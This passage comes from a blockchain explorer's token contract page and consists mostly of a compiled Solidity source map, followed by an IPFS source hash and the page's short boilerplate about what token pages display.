o;2065:407::-;;;2190:2;2178:9;2169:7;2165:23;2161:32;2158:2;;;2206:1;2203;2196:12;2158:2;2249:1;2274:53;2319:7;2310:6;2299:9;2295:22;2274:53;:::i;:::-;2264:63;;2220:117;2376:2;2402:53;2447:7;2438:6;2427:9;2423:22;2402:53;:::i;:::-;2392:63;;2347:118;2148:324;;;;;:::o;2478:564::-;;;;2635:2;2623:9;2614:7;2610:23;2606:32;2603:2;;;2651:1;2648;2641:12;2603:2;2722:1;2711:9;2707:17;2694:31;2752:18;2744:6;2741:30;2738:2;;;2784:1;2781;2774:12;2738:2;2820:80;2892:7;2883:6;2872:9;2868:22;2820:80;:::i;:::-;2802:98;;;;2665:245;2949:2;2975:50;3017:7;3008:6;2997:9;2993:22;2975:50;:::i;:::-;2965:60;;2920:115;2593:449;;;;;:::o;3048:118::-;3135:24;3153:5;3135:24;:::i;:::-;3130:3;3123:37;3113:53;;:::o;3172:109::-;3253:21;3268:5;3253:21;:::i;:::-;3248:3;3241:34;3231:50;;:::o;3287:364::-;;3403:39;3436:5;3403:39;:::i;:::-;3458:71;3522:6;3517:3;3458:71;:::i;:::-;3451:78;;3538:52;3583:6;3578:3;3571:4;3564:5;3560:16;3538:52;:::i;:::-;3615:29;3637:6;3615:29;:::i;:::-;3610:3;3606:39;3599:46;;3379:272;;;;;:::o;3657:367::-;;3820:67;3884:2;3879:3;3820:67;:::i;:::-;3813:74;;3917:34;3913:1;3908:3;3904:11;3897:55;3983:5;3978:2;3973:3;3969:12;3962:27;4015:2;4010:3;4006:12;3999:19;;3803:221;;;:::o;4030:366::-;;4193:67;4257:2;4252:3;4193:67;:::i;:::-;4186:74;;4290:34;4286:1;4281:3;4277:11;4270:55;4356:4;4351:2;4346:3;4342:12;4335:26;4387:2;4382:3;4378:12;4371:19;;4176:220;;;:::o;4402:366::-;;4565:67;4629:2;4624:3;4565:67;:::i;:::-;4558:74;;4662:34;4658:1;4653:3;4649:11;4642:55;4728:4;4723:2;4718:3;4714:12;4707:26;4759:2;4754:3;4750:12;4743:19;;4548:220;;;:::o;4774:327::-;;4937:67;5001:2;4996:3;4937:67;:::i;:::-;4930:74;;5034:31;5030:1;5025:3;5021:11;5014:52;5092:2;5087:3;5083:12;5076:19;;4920:181;;;:::o;5107:370::-;;5270:67;5334:2;5329:3;5270:67;:::i;:::-;5263:74;;5367:34;5363:1;5358:3;5354:11;5347:55;5433:8;5428:2;5423:3;5419:12;5412:30;5468:2;5463:3;5459:12;5452:19;;5253:224;;;:::o;5483:330::-;;5646:67;5710:2;5705:3;5646:67;:::i;:::-;5639:74;;5743:34;5739:1;5734:3;5730:11;5723:55;5804:2;5799:3;5795:12;5788:19;;5629:184;;;:::o;5819:365::-;;5982:67;6046:2;6041:3;5982:67;:::i;:::-;5975:74;;6079:34;6075:1;6070:3;6066:11;6059:55;6145:3;6140:2;6135:3;6131:12;6124:25;6175:2;6170:3;6166:12;6159:19;;5965:219;;;:::o;6190:369::-;;6353:67;6417:2;6412:3;6353:67;:::i;:::-;6346:74;;6450:34;6446:1;6441:3;6437:11;6430:55;6516:7;6511:2;6506:3;6502:12;6495:29;6550:2;6545:3;6541:12;6534:19;;6336:223;;;:::o;6565:263::-;;6728:66;6792:1;6787:3;6728:66;:::i;:::-;6721:73;;6820:1;6815:3;6811:11;6804:18;;6711:117;;;:::o;6834:368::-;;6997:67;7061:2;7056:3;6997:67;:::i;:::-;6990:74;;7094:34;7090:1;7085:3;7081:11;7074:55;7160:6;7155:2;7150:3;7146:12;7139:28;7193:2;7188:3;7184:12;7177:19;;6980:222;;;:::o;7208:327::-;;7371:67;7435:2;7430:3;7371:67;:::i;:::-;7364:74;;7468:31;7464:1;7459:3;7455:11;7448:52;7526:2;7521:3;7517:12;7510:19;;7354:181;;;:::o;7541:369::-;;7704:67;7768:2;7763:3;7704:67;:::i;:::-;7697:74;;7801:34;7797:1;7792:3;7788:11;7781:55;7867:7;7862:2;7857:3;7853:12;7846:29;7901:2;7896:3;7892:12;7885:19;;7687:223;;;:::o;7916:118::-;8003:24;8021:5;8003:24;:::i;:::-;7998:3;7991:37;7981:53;;:::o;8040:112::-;8123:22;8139:5;8123:22;:::i;:::-;8118:3;8111:35;8101:51;;:::o;8158:222::-;;8289:2;8278:9;8274:18;8266:26;;8302:71;8370:1;8359:9;8355:17;8346:6;8302:71;:::i;:::-;8256:124;;;;:::o;8386:210::-;;8511:2;8500:9;8496:18;8488:26;;8524:65;8586:1;8575:9;8571:17;8562:6;8524:65;:::i;:::-;8478:118;;;;:::o;8602:313::-;;8753:2;8742:9;8738:18;8730:26;;8802:9;8796:4;8792:20;8788:1;8777:9;8773:17;8766:47;8830:78;8903:4;8894:6;8830:78;:::i;:::-;8822:86;;8720:195;;;;:::o;8921:419::-;;9125:2;9114:9;9110:18;9102:26;;9174:9;9168:4;9164:20;9160:1;9149:9;9145:17;9138:47;9202:131;9328:4;9202:131;:::i;:::-;9194:139;;9092:248;;;:::o;9346:419::-;;9550:2;9539:9;9535:18;9527:26;;9599:9;9593:4;9589:20;9585:1;9574:9;9570:17;9563:47;9627:131;9753:4;9627:131;:::i;:::-;9619:139;;9517:248;;;:::o;9771:419::-;;9975:2;9964:9;9960:18;9952:26;;10024:9;10018:4;10014:20;10010:1;9999:9;9995:17;9988:47;10052:131;10178:4;10052:131;:::i;:::-;10044:139;;9942:248;;;:::o;10196:419::-;;10400:2;10389:9;10385:18;10377:26;;10449:9;10443:4;10439:20;10435:1;10424:9;10420:17;10413:47;10477:131;10603:4;10477:131;:::i;:::-;10469:139;;10367:248;;;:::o;10621:419::-;;10825:2;10814:9;10810:18;10802:26;;10874:9;10868:4;10864:20;10860:1;10849:9;10845:17;10838:47;10902:131;11028:4;10902:131;:::i;:::-;10894:139;;10792:248;;;:::o;11046:419::-;;11250:2;11239:9;11235:18;11227:26;;11299:9;11293:4;11289:20;11285:1;11274:9;11270:17;11263:47;11327:131;11453:4;11327:131;:::i;:::-;11319:139;;11217:248;;;:::o;11471:419::-;;11675:2;11664:9;11660:18;11652:26;;11724:9;11718:4;11714:20;11710:1;11699:9;11695:17;11688:47;11752:131;11878:4;11752:131;:::i;:::-;11744:139;;11642:248;;;:::o;11896:419::-;;12100:2;12089:9;12085:18;12077:26;;12149:9;12143:4;12139:20;12135:1;12124:9;12120:17;12113:47;12177:131;12303:4;12177:131;:::i;:::-;12169:139;;12067:248;;;:::o;12321:419::-;;12525:2;12514:9;12510:18;12502:26;;12574:9;12568:4;12564:20;12560:1;12549:9;12545:17;12538:47;12602:131;12728:4;12602:131;:::i;:::-;12594:139;;12492:248;;;:::o;12746:419::-;;12950:2;12939:9;12935:18;12927:26;;12999:9;12993:4;12989:20;12985:1;12974:9;12970:17;12963:47;13027:131;13153:4;13027:131;:::i;:::-;13019:139;;12917:248;;;:::o;13171:419::-;;13375:2;13364:9;13360:18;13352:26;;13424:9;13418:4;13414:20;13410:1;13399:9;13395:17;13388:47;13452:131;13578:4;13452:131;:::i;:::-;13444:139;;13342:248;;;:::o;13596:419::-;;13800:2;13789:9;13785:18;13777:26;;13849:9;13843:4;13839:20;13835:1;13824:9;13820:17;13813:47;13877:131;14003:4;13877:131;:::i;:::-;13869:139;;13767:248;;;:::o;14021:222::-;;14152:2;14141:9;14137:18;14129:26;;14165:71;14233:1;14222:9;14218:17;14209:6;14165:71;:::i;:::-;14119:124;;;;:::o;14249:214::-;;14376:2;14365:9;14361:18;14353:26;;14389:67;14453:1;14442:9;14438:17;14429:6;14389:67;:::i;:::-;14343:120;;;;:::o;14469:99::-;;14555:5;14549:12;14539:22;;14528:40;;;:::o;14574:169::-;;14692:6;14687:3;14680:19;14732:4;14727:3;14723:14;14708:29;;14670:73;;;;:::o;14749:305::-;;14808:20;14826:1;14808:20;:::i;:::-;14803:25;;14842:20;14860:1;14842:20;:::i;:::-;14837:25;;14996:1;14928:66;14924:74;14921:1;14918:81;14915:2;;;15002:18;;:::i;:::-;14915:2;15046:1;15043;15039:9;15032:16;;14793:261;;;;:::o;15060:191::-;;15120:20;15138:1;15120:20;:::i;:::-;15115:25;;15154:20;15172:1;15154:20;:::i;:::-;15149:25;;15193:1;15190;15187:8;15184:2;;;15198:18;;:::i;:::-;15184:2;15243:1;15240;15236:9;15228:17;;15105:146;;;;:::o;15257:96::-;;15323:24;15341:5;15323:24;:::i;:::-;15312:35;;15302:51;;;:::o;15359:90::-;;15436:5;15429:13;15422:21;15411:32;;15401:48;;;:::o;15455:126::-;;15532:42;15525:5;15521:54;15510:65;;15500:81;;;:::o;15587:77::-;;15653:5;15642:16;;15632:32;;;:::o;15670:86::-;;15745:4;15738:5;15734:16;15723:27;;15713:43;;;:::o;15762:307::-;15830:1;15840:113;15854:6;15851:1;15848:13;15840:113;;;15939:1;15934:3;15930:11;15924:18;15920:1;15915:3;15911:11;15904:39;15876:2;15873:1;15869:10;15864:15;;15840:113;;;15971:6;15968:1;15965:13;15962:2;;;16051:1;16042:6;16037:3;16033:16;16026:27;15962:2;15811:258;;;;:::o;16075:320::-;;16156:1;16150:4;16146:12;16136:22;;16203:1;16197:4;16193:12;16224:18;16214:2;;16280:4;16272:6;16268:17;16258:27;;16214:2;16342;16334:6;16331:14;16311:18;16308:38;16305:2;;;16361:18;;:::i;:::-;16305:2;16126:269;;;;:::o;16401:233::-;;16463:24;16481:5;16463:24;:::i;:::-;16454:33;;16509:66;16502:5;16499:77;16496:2;;;16579:18;;:::i;:::-;16496:2;16626:1;16619:5;16615:13;16608:20;;16444:190;;;:::o;16640:180::-;16688:77;16685:1;16678:88;16785:4;16782:1;16775:15;16809:4;16806:1;16799:15;16826:180;16874:77;16871:1;16864:88;16971:4;16968:1;16961:15;16995:4;16992:1;16985:15;17012:102;;17104:2;17100:7;17095:2;17088:5;17084:14;17080:28;17070:38;;17060:54;;;:::o;17120:122::-;17193:24;17211:5;17193:24;:::i;:::-;17186:5;17183:35;17173:2;;17232:1;17229;17222:12;17173:2;17163:79;:::o;17248:116::-;17318:21;17333:5;17318:21;:::i;:::-;17311:5;17308:32;17298:2;;17354:1;17351;17344:12;17298:2;17288:76;:::o;17370:122::-;17443:24;17461:5;17443:24;:::i;:::-;17436:5;17433:35;17423:2;;17482:1;17479;17472:12;17423:2;17413:79;:::o

Swarm Source

ipfs://843cec19897867967f7de9b3bfecc593a844844f7fb6bb74fe7b19f430b6e6d6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.